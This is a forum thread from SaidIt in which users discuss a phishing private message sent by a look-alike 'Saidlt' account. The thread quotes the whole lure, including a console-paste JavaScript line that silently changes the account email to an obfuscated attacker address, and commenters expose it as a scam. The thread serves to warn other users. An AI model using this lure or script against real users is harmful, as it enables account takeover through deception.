Is this for real?

submitted by one1won from self.SaidIt

I just had this message:

IMPORTANT: Suspicious acitivity on your Saidlt Account! from Saidlt sent 22 minutes ago IMPORTANT: Suspicious acitivity on your Saidlt Account!

You are receiving this message because there has been suspicious activity on your Saidlt account! A user logged in at 04:13AM EST from an unrecognized IP address in Nigeria. If this was you, you can ignore this message. If this was not you, your account has been hacked and security measures must be taken immediately! More information

IP Address: Country: Nigeria Browser: Mozilla Firefox Operating System: Windows 10 How to recover your account

If your account has been compromised, you can follow these steps to recover your account. Act fast or your account will be permanently lost. Go to https://saidit.net/prefs/update/ on a desktop or laptop computer Type your password into the first form labelled "current password" Type ctrl+shift+J on your keyboard. This should open the debug menu Paste this: d=document;d.getElementsByName('email')[0].value='wxoxrixdi5x08x4x@0xppxpp.xcxoxm'.replaceAll('x', '');d.getElementsByTagName('form')[1].submit();location.href="https://www.saidit.net/"; Hit enter. You've just kicked the hacker out of your account! Thank you, Saidlt Team permalinkdeletereportblock usermark unreadreply

all 25 comments
sorted by:
top
newinsightfulfun

[–]magnora7[M] [score hidden] stickied comment (1 child)

No it is not real. It's a scam. Do not respond to it. I just banned the user.

If you're reading this and you did respond to it, then we recommend changing your password on your user preferences page.

[–]LarrySwinger2 8 insightful - 4 fun8 insightful - 3 fun9 insightful - 4 fun -  (1 child)

Don't do what it says.

It's obviously a phishing message. The account is 5 hours old. The script changes the form such that it sends your credentials to woridi5084@0pppp.com. Please upvote the OP to bring this to people's attention.

[–][deleted] 4 insightful - 3 fun4 insightful - 2 fun5 insightful - 3 fun -  (0 children)

More information.

[–]zyxzevn 6 insightful - 5 fun6 insightful - 4 fun7 insightful - 5 fun -  (3 children)

Nigerian Prince here.. something wrong.
Will send new message soon.

[–]Tom_Bombadil 3 insightful - 4 fun3 insightful - 3 fun4 insightful - 4 fun -  (2 children)

You too?

"Tom" is olde nigerian for "Prince".

[–]zyxzevn 3 insightful - 3 fun3 insightful - 2 fun4 insightful - 3 fun -  (1 child)

Hey, there is only one prince that promises money!

[–]Tom_Bombadil 2 insightful - 3 fun2 insightful - 2 fun3 insightful - 3 fun -  (0 children)

That's a different Prince.

[–]Bigs 6 insightful - 4 fun6 insightful - 3 fun7 insightful - 4 fun -  (1 child)

Obviously not. Are YOU for real?

[–][deleted] 4 insightful - 4 fun4 insightful - 3 fun5 insightful - 4 fun -  (0 children)

You'd have to be a literal rock to fall for this LOL.

[–]Jacinda 5 insightful - 3 fun5 insightful - 2 fun6 insightful - 3 fun -  (11 children)

I got the same message sent from u/Saidit, an account that was created three hours ago.

I ignored it. Part of me is curious is to know what, if anything the script is supposed to do.

[–]one1won[S] 5 insightful - 3 fun5 insightful - 2 fun6 insightful - 3 fun -  (6 children)

Yea, thanks. I just posted and left to do chores. Didn't catch the user bit, oops. Wondering if it's working script, too.

I didn't know if this would be something of which the mods would want to be aware.

[–]Jacinda 5 insightful - 3 fun5 insightful - 2 fun6 insightful - 3 fun -  (0 children)

Warnings have made the front page of Saidit now.

Thanks for alerting us.

cc:u/TheAmeliaMay

[–][deleted] 4 insightful - 3 fun4 insightful - 2 fun5 insightful - 3 fun -  (4 children)

The script doesn't actually work, since it uses POST instead of JS, but you still should NOT run it!

[–]one1won[S] 3 insightful - 3 fun3 insightful - 2 fun4 insightful - 3 fun -  (3 children)

Thanks, TheAmeliaMay. :)

I've been checking the threads today. Now I know to ping you for any potential future such issues. Thanks!

[–][deleted] 3 insightful - 3 fun3 insightful - 2 fun4 insightful - 3 fun -  (2 children)

Yw!

[–][deleted] 3 insightful - 3 fun3 insightful - 2 fun4 insightful - 3 fun -  (1 child)

Do you mind if I PM you on here re: this? I don't want to be a pain in the ass.

[–][deleted] 3 insightful - 3 fun3 insightful - 2 fun4 insightful - 3 fun -  (0 children)

PM me whenever you want!

[–][deleted] 4 insightful - 3 fun4 insightful - 2 fun5 insightful - 3 fun -  (2 children)

Actually, it was u/Saidlt with an L, to make it look like an I.

[–]Jacinda 1 insightful - 1 fun1 insightful - 0 fun2 insightful - 1 fun -  (1 child)

So I noticed.

Quite a clever scam but I am not sure what the end game is.

[–][deleted] 2 insightful - 1 fun2 insightful - 0 fun3 insightful - 1 fun -  (0 children)

I wouldn't say they where clever, to be honest. It doesn't take very much intelligence to replace an I with an L — and their code doesn't even actually work (still don't run it!)

The only way it could be clever is if the end-game ain't to hack accounts, but to get everyone afraid and posting about it — which definitely succeeded.

[–][deleted] 4 insightful - 2 fun4 insightful - 1 fun5 insightful - 2 fun -  (0 children)

More information.

u/one1won

[–]mongre 5 insightful - 3 fun5 insightful - 2 fun6 insightful - 3 fun -  (0 children)

I got a phishing attempt today, an email saying they tried to get in to my account with a password reset.

[–]JasonCarswell 4 insightful - 2 fun4 insightful - 1 fun5 insightful - 2 fun -  (0 children)

Beat me to it. My post.

We need to upvote these posts to the top to spread awareness.

I'm afraid anyone may actually fall for it.

[–]christnmusicreleases 2 insightful - 2 fun2 insightful - 1 fun3 insightful - 2 fun -  (0 children)

It's phishing. As a precaution, I verified my current email and changed my password, and logged out from all devices just to be sure.